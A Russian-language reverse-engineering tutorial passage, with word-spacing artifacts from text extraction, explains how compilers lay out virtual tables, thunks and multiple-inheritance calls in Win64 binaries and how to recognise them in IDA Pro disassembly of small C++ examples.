• Учимс  я искать клю чевые струк туры язы ков высоко го уров ня
• Иден тификац  ия  стар тового  кода  и  вир туальн  ых  фун кций  прил  оже ний

под Win64

ИДЕНТИФИКАЦИЯ ЧИСТО ВИРТУАЛЬНЫХ ФУНКЦИЙ
Есл  и фун кция объя  вля ется в базовом, а реализ  ует ся в про изводном клас се,
она  называе  тся  чис то  вир туаль ной  фун кцие  й,  а  класс,  содер жащий  хотя  бы
одну такую функ  цию, — абс трак тным клас сом. Язык C++ зап реща ет соз дание
экземп  ляр  ов  абс трак тно го  клас са,  да  и  как  они  могут  соз даватьс  я,  если
по крайн  ей мере одна из фун кций клас са не опред  еле на?

В  стар  одав ние  вре мена  комп  илятор  в  вир туальн  ой  табл  ице  замещал
вызов  чист  о  вир туальн  ой  фун кции  ука зател  ем  на  биб лиотечн  ую  фун кцию
purecall,  потому  что  на  ста дии  ком пиляции  прогр  аммы  он  не  мог  гаран‐ 
тированн  о  отло вить  все  попыт ки  вызова  чист  о  вирт  уаль ных  фун кций.  И  если
такой  вызов  про исхо дил,  управле ние  получал  а  заранее  подс  тав ленная  сюда
purecall,  которая  «ругалась»  на  запр  ет  вызова  чист  о  вирт  уальн  ых  фун кций
и заверш  ала работу прил  ожен  ия.

Од нако в совр  емен ных реалиях дело обсто ит ина че. Ком пилятор отлавли‐ 
вает  вызовы  чист  о  вирт  уальн  ых  фун кций  и  банит  их  во  врем  я  комп  иляции.
Таким  образ  ом,  он  даже  не  соз дает  табл  ицы  вир туальн  ых  методов  для  абс‐ 
трак тных класс  ов.

Реа  ли зация вызова вир туаль ных фун кций

В  этом  нам  поможет  убед  итьс  я  след  ующий  при мер  (лист  инг  прим  ера
PureCall):

#include <stdio.h>

class Base {
public:

 virtual void demo(void) = 0;
};

class Derived :public Base {
public:

 virtual void demo(void) {
   printf("DERIVED\n");
 }
};

int main()
{

 Base *p = new Derived;
 p‐>demo();
 delete p; // Хотя статья не о том, как писать код на C++,
           // будем правильными до конца
}

Рез  уль тат его ком пиляции в общем случ  ае дол жен выг лядеть так:

main proc near
 push    rbx
 sub     rsp, 20h
 mov     ecx, 8      ; size
 ; Выделение памяти для нового экземпляра объекта
 call    operator new(unsigned __int64)
 mov     rbx, rax
 lea     rax, const Derived::`vftable'
 mov     rcx, rbx    ; this
 mov     [rbx], rax
 ; Вызов метода
 call    cs:const Derived::`vftable'
 mov     edx, 8      ; __formal
 mov     rcx, rbx    ; block
 ; Очищаем выделенную память, попросту удаляем объект
 call    operator delete(void *,unsigned __int64)
 xor     eax, eax
 add     rsp, 20h
 pop     rbx
 retn

main endp

Что бы  узнать,  какой  метод  вызыва ется  инс трукц  ией  call  cs:const  De‐
rived::'vftable',  надо  сна чала  перейт  и  в  табл  ицу  вир туальн  ых  методов
клас са Derived (нажав Enter):

const Derived::`vftable' dq offset Derived::demo(void)

а отсю да уже в сам метод:

public: virtual void Derived::demo(void) proc near
       lea     rcx, _Format    ; "DERIVED\n"
       jmp     printf

public: virtual void Derived::demo(void) endp

В дизас семб  лерн  ом лист  инге для x86 IDA сраз  у под ставл  яет прав  иль ное имя
вызывае  мо го метода:

call    Derived::demo(void)

Это мы выясн  или. И никаког  о намека на purecall.
Хо чу  такж  е  обрат  ить  твое  вним  ание  на  сле дующую  деталь.  Стар  ые  ком‐ 

пилято ры  встав ляли  код  пров  ер ки  и  обра бот ки  оши бок  выделе ния  памяти
непоср  едст  вен но пос ле опер  ации выделен  ия памяти, тогд  а как сов ременн  ые
ком пилято ры перенесл  и эту заботу внутрь опе рато ра new:

void * operator new(unsigned __int64) proc near
 push    rbx
 sub     rsp, 20h
 mov     rbx, rcx
 jmp     short loc_14000110E ; После пролога выполняется
                             ; безусловный переход

loc_1400010FF:
 mov     rcx, rbx
 call    _callnewh_0         ; Вторая попытка выделения памяти
 test    eax, eax
 jz      short loc_14000111E ; Если память снова не удалось
                             ; выделить — переходим в конец,
                             ; где вызываем функции
                             ; обработки ошибок
 mov     rcx, rbx            ; Size

loc_14000110E:
 call    malloc_0            ; Первая попытка выделения памяти
 test    rax, rax            ; Проверка успешности выделения
 jz      short loc_1400010FF ; Если rax == 0 — значит, произошла
                             ; ошибка и память не выделена.
                             ; Тогда совершаем переход
                             ; и делаем еще попытку
 add     rsp, 20h
 pop     rbx
 retn

loc_14000111E:
 cmp     rbx, 0FFFFFFFFFFFFFFFFh
 jz      short loc_14000112A
 call    __scrt_throw_std_bad_alloc(void)
 align 2

loc_14000112A:
 call    __scrt_throw_std_bad_array_new_length(void)
 align 10h

void * operator new(unsigned __int64) endp

Пос ле  про лога  функ  ции  команд  ой  jmp  short  loc_14000110E  выпол няет ся
безус ловный  переход  на  код  для  выделе ния  памяти:  call  malloc_0.  Про‐ 
веряе  м  резуль тат  опе рации:  test  rax,  rax.  Если  выделен  ие  памяти  про‐ 
вали лось,  перехо дим  на  мет ку  jz short  loc_1400010FF,  где  еще  раз  пыта‐ 
емся зарезер вировать память:

mov     rcx, rbx
call    _callnewh_0
test    eax, eax

Есл  и  эта  попыт ка  тоже  пров  алив  ает ся,  нам  ничего  не  оста ется,  как  перейт  и
по мет ке jz short loc_14000111E, обраб  отать ошибк  и и вывес ти соот ветс‐ 
тву ющее ругатель ство.

СОВМЕСТНОЕ ИСПОЛЬЗОВАНИЕ ВИРТУАЛЬНОЙ ТАБЛИЦЫ
НЕСКОЛЬКИМИ ЭКЗЕМПЛЯРАМИ КЛАССА
Скольк  о  бы  экземп  ляр  ов  клас са  (дру гими  сло вами,  объе  ктов)  ни  сущес тво‐ 
вало, все они польз  уют ся одной и той же вирт  уальн  ой табл  ицей. Вирт  уальн  ая
табл  ица прин  ад лежит самому клас су, но не экземп  ля ру (экзем пля рам) этог  о
класс  а. Впро чем, из это го прав  ила сущест  вую  т исключ  ения.

Все экземп  ля ры класс  а использ  уют одну и ту же вир туальн  ую табл  ицу

Для  демонс тра ции  сов мест  но го  использ  ования  одной  копии  вирт  уаль ной
табл  ицы неск  оль кими экземп  ля рами клас са рас смот рим след  ующий прим  ер
(лист  инг прим  ера UsingVT):

#include <stdio.h>
class Base {

 public:
 virtual void demo()
 {
   printf("Base\n");
 }
};

class Derived : public Base {
 public:
 virtual void demo()
 {
   printf("Derived\n");
 }

};

int main()
{

 Base *obj1 = new Derived;
 Base *obj2 = new Derived;
 obj1‐>demo();
 obj2‐>demo();
 delete obj1;
 delete obj2;
}

Рез  ульт  ат его ком пиляции в общем слу чае дол жен выгл  ядеть так:

main proc near
 mov      [rsp+arg_0], rbx
 mov      [rsp+arg_8], rsi
 push     rdi
 sub      rsp, 20h
 mov      ecx, 8 ; size
 ; Выделяем память под первый экземпляр класса
 call     operator new(unsigned __int64)
 ; В созданный объект копируем виртуальную таблицу класса Derived
 lea      rsi, const Derived::`vftable'
 mov      ecx, 8 ; size
 mov      rdi, rax
 ; RAX теперь указывает на первый экземпляр
 mov      [rax], rsi
 ; Выделяем память под второй экземпляр класса
 call     operator new(unsigned __int64)
 ; В RDI — указатель на виртуальную таблицу класса Derived
 mov      rcx, rdi
 mov      rbx, rax
 ; В RSI находится первый объект
 mov      [rax], rsi
 ; Берем указатель на виртуальную таблицу методов
 mov      r8, [rdi]
 ; Для первого объекта, скопированного в RAX, вызываем метод
 ; по указателю в виртуальной таблице
 call     qword ptr [r8]
 ; В RBX — указатель на виртуальную таблицу класса Derived
 mov      r8, [rbx]
 mov      rcx, rbx
 ; Вызываем метод по указателю в этой же самой таблице
 call     qword ptr [r8]
 mov      edx, 8                         ; __formal
 mov      rcx, rdi                       ; block
 call     operator delete(void *,unsigned __int64)
 mov      edx, 8                         ; __formal
 mov      rcx, rbx                       ; block
 call     operator delete(void *,unsigned __int64)
 mov      rbx, [rsp+28h+arg_0]
 xor      eax, eax
 mov      rsi, [rsp+28h+arg_8]
 add      rsp, 20h
 pop      rdi
 retn

main endp

Вирт  уаль ная таб лица клас са Derived выг лядит так:

const Derived::`vftable' dq offset Derived::demo(void), 0

Об рати вним  ание: вирт  уаль ная таб лица одна на все экземп  ляр  ы класс  а.

КОПИИ ВИРТУАЛЬНЫХ ТАБЛИЦ
Окей, для успешной работы, понят ное дело, впол не дост  аточн  о и одной вир‐ 
туальн  ой  табл  ицы,  однак  о  на  прак тике  прих  одит ся  сталк  иватьс  я  с  тем,  что
исслед  уемый  файл  прям  о‐таки  кишит  копия  ми  этих  вир туаль ных  табл  иц.  Что
же это за напасть такая, отку да она берет ся и как с ней боротьс  я?

Ес ли прогр  амма сос тоит из неск  оль ких файл  ов, комп  илируе  мых в самос‐ 
тоятель ные  obj‐модули  (а  такой  подх  од  использ  ует ся  прак тическ  и  во  всех
мало‐мальс  ки  серь езных  про ектах),  комп  илятор,  оче видн  о,  дол жен  помес‐ 
тить  в  каж дый  obj  свою  собст  вен ную  вир туальн  ую  табл  ицу  для  кажд  ого
исполь зуемо го  модулем  класс  а.  В  самом  деле,  отку да  ком пилятор  у  знать
о сущест  во вании друг  их obj и наличии в них вир туальн  ых табл  иц?

Вот  так  и  возн  икаю  т  никому  не  нужн  ые  дуб ли,  отъ еда ющие  память  и  зат‐ 
рудня ющие  ана лиз.  Прав да,  на  этап  е  ком поновк  и  линк  ер  может  обнар  ужить
копии  и  удал  ить  их,  да  и  сами  комп  илято ры  исполь зуют  раз личные  эвристи‐ 
чес кие  прие  мы  для  повышен  ия  эффективн  ости  генерир  уемог  о  кода.
Наибольш  ую  популярн  ость  заво евал  сле дующий  алгор  итм:  вир туальн  ая  таб‐ 
лица  помеща ется  в  тот  модуль,  в  котором  содерж  ится  реали зация  перв  ой
невст  ро енной невир туальн  ой функ  ции клас са.

Обычн  о каж дый класс реали зует ся в одном модуле, и в больш  инст  ве слу‐ 
чаев  такая  эвристи ка  сраб  атыв  ает.  Хуже,  если  класс  сост  оит  из  одних  вир‐ 
туальн  ых  или  встра иваемых  функ  ций.  В  этом  случ  ае  комп  илятор  «ложит ся»
и  начинае  т  запихи вать  вирт  уальн  ые  табл  ицы  во  все  модули,  где  этот  класс
использ  ует ся. Посл  едняя надежд  а на удал  ение «мусорн  ых» копий — лин кер,
но и он не панацея. Собс твенн  о, эти проб лемы дол жны больш  е заботить раз‐ 
работ чиков  прог раммы  (если  их  вол нует,  скольк  о  памяти  занима ет  прог‐ 
рамма),  для  ана лиза  лишн  ие  копии  всег  о  лишь  досадн  ая  помеха,  но  отнюдь
не непр  еодо лимое преп  ятс твие!

СВЯЗАННЫЙ СПИСОК
В  больш  инст  ве  случ  аев  вирт  уальн  ая  таб лица  —  это  обыкн  овен ный  масс  ив,
но некото рые ком пилятор  ы предс  тав ляют ее в виде свя занн  ого списк  а. Каж‐ 
дый  эле мент  вирт  уаль ной  таб лицы  содерж  ит  ука затель  на  след  ующий  эле‐ 
мент,  а  сами  эле мен ты  не  раз мещены  вплот ную  друг  к  дру гу,  а  рас сеяны
по все му исполняе  мо му файл  у.

На  прак тике  подобн  ое,  однак  о,  попадае  тся  край не  ред ко,  поэто му
не  будем  под робно  на  этом  оста нав ливатьс  я  —  дост  аточн  о  лишь  знать,  что
такое  бывае  т.  Если  ты  встре тишьс  я  со  спис ками  (впроч  ем,  это  вряд  ли)  —
разб  ерешь ся по обсто ятельс  твам, бла го это нес ложно.

ВЫЗОВ ЧЕРЕЗ ШЛЮЗ
Будь так же готов и к тому, что бы встрет  ить в вирт  уаль ной таб лице указ  атель
не на вирт  уаль ную функ  цию, а на код, который модифи циру ет этот указ  атель,
занося  в  него  смещ  ение  вызыва емой  фун кции.  Этот  при ем  был  предл  ожен
самим раз работ чиком язы ка C++ Бьер ном Стра уструп  ом, поза имс твов  ав шим
его  из  ран них  реализ  аций  алго ла‐60.  В  алгол  е  код,  корр  екти рующий  ука‐ 
затель  вызыва емой  функ  ции,  называе  тся  шлюз  ом  (thunk),  а  сам  вызов  —
вызовом  через  шлюз.  Впол не  справ  едл  иво  упот реблять  эту  терм  иноло гию
и по отно шению к C++.

Од нако  в  нас тоящее  вре мя  вызов  через  шлюз  чрез вычайн  о  мало  рас‐ 
простра нен  и  не  использ  ует ся  прак тичес ки  ни  одним  ком пилято ром.  Нес‐ 
мотря  на  то  что  он  обесп  ечива ет  более  ком пакт  ное  хра нение  вир туальн  ых
таб лиц,  модифи кация  указ  ате ля  при водит  к  излишним  накл  адным  расх  одам
на  про цес сорах  с  кон вейе  рной  архит  ек турой  (а  все  сов ремен ные  про цес‐ 
соры  как  раз  и  пост  ро ены  на  осно ве  такой  архи тект  уры).  Поэто му  исполь‐ 
зование  шлю зовых  вызовов  оправданн  о  лишь  в  прог раммах,  кри тичес ких
к раз меру, но не к ско рост  и.

Под робнее  обо  всем  этом  можн  о  проч  есть  в  руководст  ве  по  алгол  у‐60
(шут ка) или у Бьер на Страу  струп  а в «Дизай не и эво люции язы ка C++».

СЛОЖНЫЙ ПРИМЕР НАСЛЕДОВАНИЯ
До  сих  пор  мы  расс  мат ривали  лишь  прост  ейш  ие  прим  еры  использ  ования
вирт  уальн  ых  фун кций.  В  жизн  и  же  порой  встре чает ся  такое...  Расс  мот рим
сложн  ый  слу чай  нас ледова ния  с  кон фликт  ом  имен,  демонст  рир  ующий
помеще ние невирт  уаль ных функ  ций в вир туаль ные таб лицы (лист  инг прим  ера
HardSample):

#include <stdio.h>

class A {
 public:
 virtual void f()
 {
   printf("A_F\n");
 }

};

class B {
 public:
 virtual void f()
 {
   printf("B_F\n");
 }
 virtual void g()
 {
   printf("B_G\n");
 }

};

class C : public A, public B {
 public:
 void f()
 {
   printf("C_F\n");
 }

};

int main()
{

 A *a = new A;
 B *b = new B;
 C *c = new C;
 a‐>f();
 b‐>f();
 b‐>g();
 c‐>f();
 delete a;
 delete b;
 delete c;
}

Как будет выгл  ядеть вир туаль ная таб лица класс  а C? Так, давай подумае  м: раз
класс  C  —  про изводный  от  класс  ов  A  и  B,  то  он  нас ледуе  т  фун кции  обо их,
но  вир туаль ная  функ  ция  f()  клас са  B  перекр  ыва ет  однои  мен ную  вир туаль‐ 
ную функ  цию клас са A, поэтом  у из класс  а А она не нас леду ется. Далее, пос‐ 
кольк  у  невирт  уальн  ая  функ  ция  f()  при сутс тву ет  и  в  про изводном  клас се  C,
она перек рывае  т вирт  уаль ную функ  цию клас са B (да, именн  о так, а вот невир‐ 
туаль ная  функ  ция  невирт  уальн  ую  не  перек рывае  т,  и  она  всегд  а  вызыва ется
из  базово го,  а  не  про изводног  о  класс  а).  Таким  обра зом,  вир туальн  ая  таб‐ 
лица  клас са  C  дол жна  содерж  ать  толь ко  один  эле мент  —  указ  атель  на  вир‐ 
туальн  ую  функ  цию  g(),  унас ледован ную  от  B,  а  невир туальн  ая  фун кция  f()
вызывае  тся как обыч ная C‐функ  ция. Пра вильн  о? Нет!

Из‐за  подобн  ых  сложн  остей,  воз никаю  щих  при  исполь зовании  множ  ес‐ 
твенн  ого  нас ледова ния  клас сов,  более  сов ремен ные  по  сравн  ению  с  C++
язы ки  (напр  имер,  такие  как  Java,  C#,  Swift)  его  не  реализ  уют.  Тем  не  менее
в них допуск  ает ся мно жес твен ная реали зация интерфей сов (или про токол  ов
в  Swift).  А  посл  едние,  как  извес тно,  не  содер жат  реали зации  объя  вленных
методов,  поэто му  таких  неоп ределен ностей  не  воз ника ет.  В  C++  для  избе‐ 
гания таких ситуа  ций исполь зуют ся абс тракт  ные класс  ы, но в реаль нос ти вся‐ 
кое прих  одит ся анал  изи ровать.

Здесь мы видим как раз тот слу чай, ког да невир туаль ная фун кция вызыва‐ 
ется через указ  атель как вирт  уальн  ая функ  ция. Более того, вирт  уаль ная таб‐ 
лица  клас са  будет  содерж  ать  не  два,  а  три  эле мент  а!  Трет  ий  элем  ент  —
это  ссыл ка  на  вир туальн  ую  фун кцию  f(),  унасл  едован ную  от  B,  но  тут  же
замещен ная ком пилято ром на «переход ник» к C::f(). Уф... Как все непр  осто!
Может, пос ле изуч  ения дизасс  емб  лер ного лист  инга это стан  ет понят нее?

main proc near
 mov     [rsp+arg_0], rbx
 mov     [rsp+arg_8], rsi
 push    rdi
 sub     rsp, 20h
 mov     ecx, 8      ; size

Выд  еля ем память для объе  кта A:

call    operator new(unsigned __int64)
mov     rsi, rax
mov     ecx, 8      ; size

По мещае  м в объ ект A указ  атель на его вирт  уаль ную табл  ицу:

lea     rax, const A::`vftable'
mov     [rsi], rax

Выд  еляе  м память для объ екта B:

call    operator new(unsigned __int64)
mov     rdi, rax
mov     ecx, 10h    ; size

По меща ем в объ ект B указ  атель на его вир туаль ную таб лицу:

lea     rax, const B::`vftable'
mov     [rdi], rax

Выд  еляе  м память для объ екта C:

call    operator new(unsigned __int64)
mov     rbx, rax
mov     rcx, rsi

По меща ем в объ ект C ука затель на вирт  уальн  ую табл  ицу клас са A:

lea     rax, const C::`vftable'{for `A'}
mov     [rbx], rax

По мещае  м  в  объ ект  C  ука затель  на  вир туаль ную  таб лицу  класс  а  B,  то  есть
в  резуль тате  объ ект  C  будет  содер жать  два  ука зате ля  на  две  вир туаль ные
табл  ицы базовых класс  ов.

lea     rax, const C::`vftable'{for `B'}
mov     [rbx+8], rax

Да лее  след  ует  код,  в  котором  для  каж дого  созд  анно го  объ екта  в  соот ветс‐ 
твии  со  сме щение  м  в  вирт  уаль ной  таб лице  прои  сход  ит  вызов  метода.
По дизасс  ем блер ному лис тингу мож но разобр  ать ся, кто и что вызыва ет.

mov     r8, [rsi]
call    qword ptr [r8]

Перв  ым  делом  надо  опре делить,  что  находит ся  в  регист  ре  RSI.  Сдел  ать
это  не  сос тавля ет  труд  а,  надо  лишь  взглян  уть  в  окно  IDA  и  подв  ести  кур сор
к  обозн  аченн  ому  выше  регист  ру.  Пос ле  чего  он  под свет  ит ся  во  всем  лис‐ 
тинге (см. рисунок ниже).

Та ким нехит рым образ  ом опре деля ем, что в регис тре RSI находит ся объ‐ 
ект A со сво ей вирт  уаль ной табл  ицей методов. Копиру ем RSI в R8 и вызыва ем
пер вый  метод  в  таб лице  объ екта  A.  Чтоб  ы  узнать,  какой  же  это  метод,  надо
перейт  и в вир туаль ную таб лицу клас са A, дваж ды щел кнув на A::'vftable'.
В ито ге обнар  ужим

const A::`vftable' dq offset A::f(void), 0

То есть пер вый и единст  вен ный метод f. Под ведем к нему курс  ор ввод  а, наж‐ 
мем Enter, что бы перей ти в сам метод:

public: virtual void A::f(void) proc near
 lea     rcx, _Format    ; "A_F\n"
 jmp     printf

public: virtual void A::f(void) endp

Он, собс твен но, выводит строк  у A_F, что и треб  ова лось доказать.

→Продолжение статьи

ВЗЛОМ ←  НАЧАЛО СТАТЬИ

ФУНДАМЕНТАЛЬНЫЕ
ОСНОВЫ ХАКЕРСТВА

КАКИЕ БЫВАЮТ ВИРТУАЛЬНЫЕ ФУНКЦИИ
И КАК ИХ ИСКАТЬ

ПЕРЕИМЕНОВАНИЕ ИНСТРУКЦИЙ
Мы  расс  мот рели  тольк  о  начало  анал  иза  вызывае  мых  методов  из  фун кции
main. Вер немся в ее дебр  и.

Смот рим,  что  хран  ит ся  в  регист  ре  RDI.  Под нимае  м  глазк  и  чуть  выше,
видим,  что  в  RDI  находит ся  объе  кт  B.  Знач  ит,  в  сле дующем  фрагм  енте  кода
про исхо дит вызов двух его методов: перв  ый — без смещ  ения в вирт  уальн  ой
таб лице  call  qword  ptr  [r8],  а  вто рой  —  со  сме щение  м  —  call  qword 
ptr [r8+8].

mov     r8, [rdi]
mov     rcx, rdi
call    qword ptr [r8]
mov     r8, [rdi]
mov     rcx, rdi
call    qword ptr [r8+8]

На заметку

Есл  и строчк  а call qword ptr [r8] порт  ит карт  ину и охо та прив  ест  и лис тинг
к  более  ясно му  виду,  заменив  неяв ный  вызов  факт  ическ  им  назв  ани ем
метода,  пост  упи  сле дующим  обра зом:  под веди  кур сор  мыши  к  стро ке  call 
qword ptr [r8], вызови кон текст  ное меню, в нем выбери пункт Manual... и в
стро ке  вво да  появив шегося  окна  вбей  удобн  ое  назв  ание,  которое  хочешь
присв  оить, нап ример A::f, как в нашем случ  ае. Жми ОК. Вызов при мет жела‐ 
емый  вид.  Что бы  про делать  обратную  опер  ацию,  то  есть  верн  уть  преж нюю
абрак  адабр  у, дос таточ но таким же обра зом выз вать диалог  овое окно Manual
operand и в нем очист  ить поле ввод  а.

Смот рим  даль ше.  В  регис тре  RBX  находит ся  объ ект  C  и  прои  сход  ит  вызов
его метода:

mov     r8, [rbx]
mov     rcx, rbx
call    qword ptr [r8]

Удал  ение объе  ктов:

...
 mov     edx, 8      ; __formal
 mov     rcx, rsi    ; block
 call    operator delete(void *,unsigned __int64)
 mov     edx, 8      ; __formal
 mov     rcx, rdi    ; block
 call    operator delete(void *,unsigned __int64)
 mov     edx, 10h    ; __formal
 mov     rcx, rbx    ; block
 call    operator delete(void *,unsigned __int64)
 mov     rbx, [rsp+28h+arg_0]
 xor     eax, eax
 mov     rsi, [rsp+28h+arg_8]
 add     rsp, 20h
 pop     rdi
 retn

main endp

Ди засс  ем блир  ован ный лист  инг из IDA Pro, с под свеч  енн  ым регист  ром
RSI

Рас смот рим вирт  уаль ные таб лицы клас сов B и C:

const B::`vftable' dq
offset B::f(void),                                 ; 1‐й элемент
offset B::g(void),                                 ; 2‐й элемент
offset const A::`RTTI Complete Object Locator'

Так  как  класс  B  вклю чает  два  вир туаль ных  метода,  его  табл  ица  вирт  уаль ных
методов содерж  ит два элем  ент  а: B::f и B::g. Вир туаль ная таб лица клас са C:

dq offset const C::`RTTI Complete Object Locator'{for `B'}
const C::`vftable'{for `B'} dq
offset [thunk]:C::f`adjustor{8}' (void),           ; 1‐й элемент
offset B::g(void) dq                               ; 2‐й элемент
offset const C::`RTTI Complete Object Locator'{for `A'}
const C::`vftable'{for `A'} dq
offset C::f(void),                                 ; 3‐й элемент
offset const B::`RTTI Complete Object Locator'

Как  мы  и  предп  олагал  и,  табл  ица  содерж  ит  три  элем  ент  а!  Вирт  уальн  ая  таб‐ 
лица  клас са  C,  ско пиров  ан ная  ком пилятор  ом  из  класс  а  B,  перв  оначаль но
сост  ояла  из  двух  указ  ате лей  на  фун кции  f()  и  g(),  но  еще  на  стад  ии  ком‐ 
пиляции  ком пилятор  разоб рался  в  кон фликт  е  имен  и  заменил  указ  атель
на B::f() ука зател  ем на переходн  ик к C::f(). При этом он рас познал вызов
через шлюз, а IDA отме тила это: [thunk], сле дом за которым идет клю чевое
сло во adjustor (кор ректор).

На посл  едок пос мотрим на сами методы. У клас са B они выг лядят вполн  е
ожи даемо:

public: virtual void B::f(void) proc near
       lea     rcx, aBF    ; "B_F\n"
       jmp     printf

public: virtual void B::f(void) endp

public: virtual void B::g(void) proc near
       lea     rcx, aBG    ; "B_G\n"
       jmp     printf

public: virtual void B::g(void) endp

У  клас са  C  вызов  B::g(void),  как  и  положе но,  вос ходит  к  методу  класс  а  B
(см. выше). Вызов C::f(void) обращ  ает ся к невирт  уаль ному методу:

public: virtual void C::f(void) proc near
       lea     rcx, aCF    ; "C_F\n"
       jmp     printf

public: virtual void C::f(void) endp

В  свою  оче редь,  C::f'adjustor{8}'  вызывае  т  «сквозн  ой»  метод,  переда‐ 
ющий управлен  ие на метод C::f(void).

[thunk]:public: virtual void C::f`adjustor{8}' (void) proc near
       sub     rcx, 8
       jmp     C::f(void) ; Передаем управление методу C::f(void)

[thunk]:public: virtual void C::f`adjustor{8}' (void) endp

Как видим, таб лица вирт  уаль ных методов впол не может содерж  ать указ  атель
на невирт  уаль ный метод!

На  самом  деле  вир туаль ная  таб лица  прои  зводно го  класс  а  вклю чает  вир‐ 
туальн  ые  таб лицы  всех  базовых  класс  ов  (во  вся ком  слу чае  всех,  отку да  она
нас леду ет  вир туаль ные  методы).  В  нашем  при мере  вирт  уаль ная  таб лица
класс  а  C  содерж  ит  указ  атель  на  собс твенн  ый  невир туаль ный  метод  и  вир‐ 
туаль ную  таб лицу  класс  а  B.  Задача:  как  опре делить,  что  функ  ция  C::f()
невирт  уаль ная? И как найт  и все базовые класс  ы класс  а C?

Нач нем с пос ледне го. Совр  еменн  ые вер сии комп  илятор  а и дизасс  емб  ле‐ 
ра,  идя  рука  об  руку,  явно  показыв  ают  в  вирт  уаль ной  таб лице  и  в  комм  ента‐ 
рии к реализ  ации метода, от какого клас са он нас ледуе  тся:

; DATA XREF: .rdata:const C::`vftable'{for `A'}?o

След  ова тельн  о, класс C — про изводный от A. С друг  ой стор  оны, а что, если
класс  не  насл  еду ет  ни  одной  функ  ции  из  базово го  клас са?  Тог да  возн  ика ет
дру гой  воп рос:  так  ли  необх  одимо  уста нав ливать  «родите лей»,  от  которых
не  насл  еду ется  ни  одной  функ  ции?  (Если  хоть  одна  фун кция  насл  еду ется,
никаких  сложн  остей  в  поиск  е,  как  мы  видели,  не  воз никае  т.)  В  общем‐то,
для  анал  иза  это  дей ствит  ельн  о  некр  итичн  о,  но  чем  точн  ее  будет  вос ста нов‐ 
лен  исходный  код  прог раммы,  тем  нагл  яднее  он  будет  и  тем  лег че  в  нем
разобр  атьс  я.

Те перь  перей дем  к  невирт  уальн  ой  фун кции  f().  Подума ем,  что  было  бы,
будь она на самом деле вирт  уаль ной. Тогд  а она перекр  ыла бы однои  менн  ую
фун кцию  базовых  клас сов  и  никакой  «дикост  и»  наподоб  ие  «переходн  иков»
в  откомпи лиро ван ной  прогр  амме  не  встрет  илось  бы.  А  так  они  свид  етель‐ 
ствую  т о том, что тут не все глад ко и фун кция невир туаль ная, хоть и стрем  ит ся
казать ся  такой.  Опять‐таки  умный  ком пилятор  теорет  ичес ки  может  выкинуть
переход ник и дуб лирую  щий ся эле мент вирт  уальн  ой таб лицы класс  а C, но на
прак тике этой интеллект  уаль нос ти не набл  юда ется...

Вы вод конс  оль ного прил  ожен  ия HardSample

СТАТИЧЕСКИЕ ОБЪЕКТЫ
Есть  ли  раз ница,  как  созд  авать  экзем пляр  класс  а  —  MyClass  zzz;  или  My‐
Class  *zzz  =  new  MyClass?  Разумее  тся,  в  перв  ом  слу чае  комп  илятор
может  опред  елить  адре са  вирт  уаль ных  фун кций  еще  на  ста дии  ком пиляции,
тогд  а  как  во  вто ром  это  при ходит ся  вычисл  ять  во  врем  я  выполн  ения  прог‐ 
раммы.  Друг  ое  разл  ичие:  стат  ичес кие  объе  кты  разм  ещаю  тся  в  стек  е  (сег‐ 
менте дан ных, перв  ый случ  ай), а динамич  ес кие — в куче (втор  ой слу чай).

Стар  ые  комп  илято ры  упор но  созд  авали  табл  ицы  вир туаль ных  функ  ций
в обо их случ  аях, а при вызове каж дой функ  ции (вклю чая невир туаль ные) под‐ 
готавл  ивали  ука затель  this  (как  пра вило,  помеща емый  в  один  из  регист  ров
обще го  наз начения),  который  содер жит  адрес  экземп  ляр  а  класс  а.  Таким
обра зом, если мы встре чали вызыва емую непоср  едс твен но по ее сме щению
функ  цию, которая в то же врем  я при сутст  ву ет в вир туаль ной таб лице класс  а,
мож но было с увер  ен ностью утверж  дать, что это вир туаль ная функ  ция стат  ич‐ 
ного  экзем пляр  а  класс  а.  Межд  у  тем  сов ремен ные  комп  илятор  ы  генери руют
абсо лют но отличный код. Что бы уви деть это, рас смот рим сле дующий прим  ер
вызова фун кции ста тическ  ого объ екта (лист  инг при мера StaticObjects):

#include <stdio.h>

class Base {
 public:
 virtual void demo(void)
 {
   printf("BASE DEMO\n");
 }
 virtual void demo_2(void)
 {
   printf("BASE DEMO 2\n");
 }
 void demo_3(void)
 {
   printf("Non virtual BASE DEMO 3\n");
 }

};

class Derived : public Base {
 public:
 virtual void demo(void)
 {
   printf("DERIVED DEMO\n");
 };
 virtual void demo_2(void)
 {
   printf("DERIVED DEMO 2\n");
 }
 void demo_3(void)
 {
   printf("Non virtual DERIVED DEMO 3\n");
 }

};

int main()
{

 Base p;
 p.demo();
 p.demo_2();
 p.demo_3();

 Derived d;
 d.demo();
 d.demo_2();
 d.demo_3();
}

Вы вод прил  ожен  ия StaticObjects

В результ  ате комп  иляции мы увид  им такой дизасс  ем блерн  ый лист  инг:

main proc near
 sub     rsp, 28h
 lea     rcx, _Format         ; "BASE DEMO\n"
 call    printf
 lea     rcx, aBaseDemo2      ; "BASE DEMO 2\n"
 call    printf
 lea     rcx, aNonVirtualBase ; "Non virtual BASE DEMO 3\n"
 call    printf
 lea     rcx, aDerivedDemo    ; "DERIVED DEMO\n"
 call    printf
 lea     rcx, aDerivedDemo2   ; "DERIVED DEMO 2\n"
 call    printf
 lea     rcx, aNonVirtualDeri ; "Non virtual DERIVED DEMO 3\n"
 call    printf
 xor     eax, eax
 add     rsp, 28h
 retn

main endp

Вот  так  новость!  Комп  илятор  оптим  изи ровал  весь  код  в  одну  функ  цию!
Выкинув  при  этом  объ екты,  их  методы,  вир туальн  ые  таб лицы.  Прогр  амма
берет  из  секц  ии  дан ных  стро ковую  кон стант  у,  помеща ет  ее  в  регистр  RCX,
а затем вызывае  т функ  цию printf. Потом это дей ствие повт  оря ется еще пять
раз,  и  на  этом  работа  при ложен  ия  заверш  ает ся.  Ни  малейш  его  упом  инан  ия
о вир туаль ных, невирт  уаль ных функ  ция  х нет!

ИДЕНТИФИКАЦИЯ ВИРТУАЛЬНЫХ ТАБЛИЦ
Теп  ерь,  осно вательн  о  освои  вшись  с  вир туальн  ыми  таб лицами  и  фун кция  ми,
рас смот рим  очень  коварн  ый  вопр  ос:  всяк  ий  ли  мас сив  ука зате лей  на  фун‐ 
кции есть вирт  уальн  ая табл  ица? Разумее  тся, нет! Ведь косв  енный вызов фун‐ 
кции  через  указ  атель  —  част  ое  дело  в  прак тике  прог раммис та.  Масс  ив  ука‐ 
зател  ей  на  функ  ции...  хм,  конеч но,  типич ным  его  не  назовешь,  но  и  такое
в жизн  и встре чает ся.

